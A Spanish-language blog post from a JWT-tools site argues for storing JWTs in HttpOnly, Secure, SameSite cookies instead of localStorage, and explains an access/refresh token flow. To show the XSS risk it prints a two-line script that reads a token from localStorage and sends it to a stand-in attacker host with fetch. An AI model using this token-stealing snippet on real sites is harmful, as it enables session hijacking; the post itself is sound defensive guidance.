FmtDev
Idioma
Back to blog
April 1, 2026

¿Dónde deberías guardar tus JWT? Cookie vs LocalStorage (Guía 2026)

¿Dónde guardar los JWT? Compara localStorage vs cookies HttpOnly. Descubre por qué localStorage te expone a ataques XSS y cómo asegurar tu flujo de autenticación.

El lugar más seguro para guardar un JWT en una aplicación web es dentro de una cookie HttpOnly, Secure y SameSite=Strict. Guardar un JWT en localStorage lo expone a ataques de Cross-Site Scripting (XSS), permitiendo que JavaScript malicioso robe fácilmente los tokens de acceso de tus usuarios.

Todos los desarrolladores frontend se han quedado mirando su lógica de inicio de sesión preguntándose lo mismo: ¿Puedo simplemente usar localStorage.setItem()? Es fácil, funciona con todos los frameworks y no tiene el "equipaje" de las cookies. Pero en 2026, donde los ataques a la cadena de suministro de npm y los XSS sofisticados son comunes, este "camino fácil" es una catástrofe de seguridad esperando a suceder.

Esta guía resuelve el debate para 2026, mostrándote exactamente cómo los hackers roban los tokens y la forma lista para producción de asegurarlos.

Inspecciona tu JWT antes de guardarlo (Herramientas Gratuitas)

Antes de decidir dónde guardar tu token, asegúrate de saber exactamente qué hay dentro. Utiliza nuestra suite de herramientas de seguridad gratuitas para verificar tu implementación:

  • Decodificador de JWT: Pega tu token para decodificar instantáneamente la carga útil y ver tus claims de forma segura en tu navegador.
  • Comprobar Expiración de JWT: Verifica la marca de tiempo de expiración exacta para asegurarte de que tus tokens de acceso de corta duración funcionan como se espera.

Conocer la estructura de tu token es el primer paso para asegurarlo correctamente.

La trampa de LocalStorage (Por qué es tan peligroso)

A los desarrolladores les encanta localStorage porque es extremadamente simple. Obtienes un token de tu API de login, llamas a localStorage.setItem('token', jwt) y listo. Sin encabezados, sin "tarros de cookies", solo JavaScript limpio.

El fallo fatal: Accesibilidad

El fallo fatal de localStorage es que cualquier JavaScript que se ejecute en tu página puede leerlo. Esto incluye tu propio código, pero lo que es más importante, incluye cualquier script de terceros que hayas cargado: analíticas, chatbots o ese paquete npm "útil" que instalaste ayer.

El ataque: 2 líneas de código malicioso

Si un hacker ejecuta con éxito un ataque de Cross-Site Scripting (XSS) en tu sitio, puede robar el token de cada usuario en segundos con un script como este:

// Una sola línea maliciosa es todo lo que se necesita para robar un token
const stolenToken = localStorage.getItem('token');
fetch('https://hacker-server.com/steal?token=' + stolenToken);

Una vez que ese token está en el servidor del hacker, pueden suplantar al usuario hasta que el token expire. Si los hackers quieren moverse rápido, incluso pueden pasar el JWT a JSON al instante para identificar cuentas de "administrador" de alto valor para atacar primero.

El riesgo de la cadena de suministro

Incluso si tu propio código es 100% seguro, estás a merced de tu árbol de dependencias. Si un paquete npm popular se ve comprometido, el código malicioso puede ir directo a tu localStorage sin que te des cuenta.

La solución de las cookies HttpOnly (El estándar de 2026)

Para solucionar el problema del XSS, utilizamos Cookies HttpOnly. Este es el estándar de 2026 para la autenticación web de grado de producción.

¿Qué es HttpOnly?

Cuando el servidor envía una cookie con el flag HttpOnly, le dice al navegador: "El navegador puede enviar esta cookie de vuelta al servidor, pero el JavaScript de la computadora no puede leerla".

Si un hacker ejecuta un script XSS malicioso en tu página, document.cookie devolverá una cadena vacía o no contendrá el token de autenticación. Es físicamente invisible para el código frontend.

Los flags de cookies requeridos en 2026

En 2026, simplemente configurar HttpOnly no es suficiente. El encabezado Set-Cookie de tu backend debería verse exactamente así:

Set-Cookie: token=eyJhb...; HttpOnly; Secure; SameSite=Strict; Max-Age=3600
  • HttpOnly: Previene el acceso por JavaScript (protección XSS).
  • Secure: Asegura que la cookie solo se envíe sobre HTTPS.
  • SameSite=Strict: Asegura que la cookie solo se envíe para solicitudes que se originen en tu propio sitio.
  • Max-Age: Establece la expiración explícita (ej. 1 hora).

Puedes Inspeccionar el Header del JWT para asegurarte de que tus claims alg y typ coinciden con los requisitos de seguridad de tu backend antes de emitir estas cookies.

LocalStorage vs Cookies HttpOnly: Comparación de seguridad

CaracterísticaLocalStorageCookie HttpOnly
Accesible por JavaScript✅ Sí (Alto Riesgo)❌ No (Seguro)
Vulnerable a XSS🚨 Extremadamente Vulnerable🛡️ Protegido
Vulnerable a CSRF🛡️ Protegido⚠️ Vulnerable (Mitigado por SameSite)
Enviado automáticamente a la API❌ No (Debe adjuntarse al header)✅ Sí
Capacidad de almacenamiento5MB - 10MB4KB
Ideal paraTemas UI, Datos no sensiblesJWTs, Tokens de Auth

El argumento del "CSRF" (Y por qué ya no importa)

Un argumento común contra las cookies es: "¡Pero las cookies son vulnerables al Cross-Site Request Forgery (CSRF)!"

Aunque técnicamente era cierto en el pasado, el panorama ha cambiado. El CSRF funciona engañando a un navegador para que realice una solicitud autenticada a tu sitio desde un sitio diferente y malicioso.

La realidad de 2026

Los navegadores modernos ahora tienen por defecto SameSite=Lax para todas las cookies. Al configurar manualmente tu cookie de auth como SameSite=Strict, esencialmente neutralizas el CSRF para las APIs REST y GraphQL estándar.

El XSS es infinitamente más común y más peligroso que el CSRF hoy en día. Si un hacker consigue XSS en tu sitio y usas localStorage, son dueños de la cuenta. Si usas cookies HttpOnly, podrían ser capaces de hacer una solicitud en nombre del usuario, pero no pueden robar el token de identidad para usarlo en otro lugar. Protege primero contra el XSS.

El flujo de autenticación perfecto para 2026 (Tokens de Acceso + Refresh)

Si estás construyendo una aplicación moderna en React, Vue o Next.js en 2026, esta es la arquitectura que deberías usar:

  1. Login: Tu backend valida al usuario y genera dos tokens.
  2. Access Token: De duración corta (ej. 15 minutos). Se utiliza para la autorización de la API. Guárdalo en Memoria (un estado de React o una variable) o en una cookie HttpOnly.
  3. Refresh Token: De duración larga (ej. 7 días). Se utiliza para obtener nuevos Access Tokens. Guárdalo en una cookie HttpOnly, Secure y SameSite=Strict.
  4. El bucle de refresco: Cuando el Access Token expira, el frontend golpea un endpoint /refresh. El navegador envía automáticamente la cookie de Refresh HttpOnly. El servidor la valida y devuelve un nuevo Access Token.

Este flujo mantiene las "llaves del reino" (el Refresh Token) bloqueadas lejos del alcance de JavaScript por completo. Puedes usar nuestra herramienta para Comprobar la Expiración de un JWT periódicamente durante el desarrollo para ajustar el tiempo de refresco.

Preguntas Frecuentes

¿Es seguro el localStorage para el JWT?

No. LocalStorage no es seguro para almacenar tokens de sesión sensibles como los JWT. Debido a que es accesible por cualquier JavaScript que se ejecute en tu página, es altamente vulnerable a ataques de Cross-Site Scripting (XSS). Para aplicaciones web, las cookies HttpOnly son la recomendación estándar de la industria para mantener los JWT seguros.

¿Cómo roban los hackers el JWT del localStorage?

Los hackers roban tokens de localStorage inyectando JavaScript malicioso en tu página (XSS). Esto puede suceder a través de entradas de usuario no saneadas o scripts de terceros comprometidos. Una vez inyectado, el script simplemente llama a localStorage.getItem('token') y envía el valor al servidor del hacker mediante una solicitud fetch o Image.

¿Cómo configuro una cookie HttpOnly?

Configuras una cookie HttpOnly desde tu servidor utilizando el encabezado HTTP Set-Cookie. En un servidor Node.js Express, por ejemplo, usarías: res.cookie('token', jwt, { httpOnly: true, secure: true, sameSite: 'strict' }). Esto le dice al navegador que almacene el token y prohíbe que cualquier JavaScript del lado del cliente acceda a él.

¿Dónde debería guardar mi token de refresco?

Un token de refresco siempre debe guardarse en una cookie Segura, HttpOnly y SameSite=Strict. Debido a que los tokens de refresco tienen una vida larga (a menudo días o semanas), son el objetivo más valioso para los hackers. Mantenerlos fuera del alcance de JavaScript es innegociable para el cumplimiento de seguridad en 2026.

¿Pueden los ataques CSRF robar los JWT?

No, los ataques CSRF no pueden "robar" tu JWT. Un ataque CSRF engaña al navegador de un usuario para que use su cookie para realizar una solicitud no autorizada, pero el hacker nunca llega a ver ni a obtener posesión del token en sí. En contraste, un ataque XSS roba el token de localStorage, permitiendo al hacker tomar el control total de la cuenta desde su propia computadora.

Deja de poner en riesgo a tus usuarios por la comodidad del frontend. Evita el localStorage para credenciales sensibles y abraza la seguridad de los flags modernos del navegador.

¿Necesitas verificar la carga útil, expiración o encabezados de tu token? Utiliza nuestra suite de herramientas gratuitas, incluyendo el Decodificador de JWT, el Comprobador de Expiración de JWT y el convertidor de JWT a JSON para mantenerte por delante de los riesgos de seguridad.

Herramienta Asociada

¿Listo para usar la herramienta Decodificador JWT en Línea? Todo el procesamiento es local.

Abrir Decodificador JWT en Línea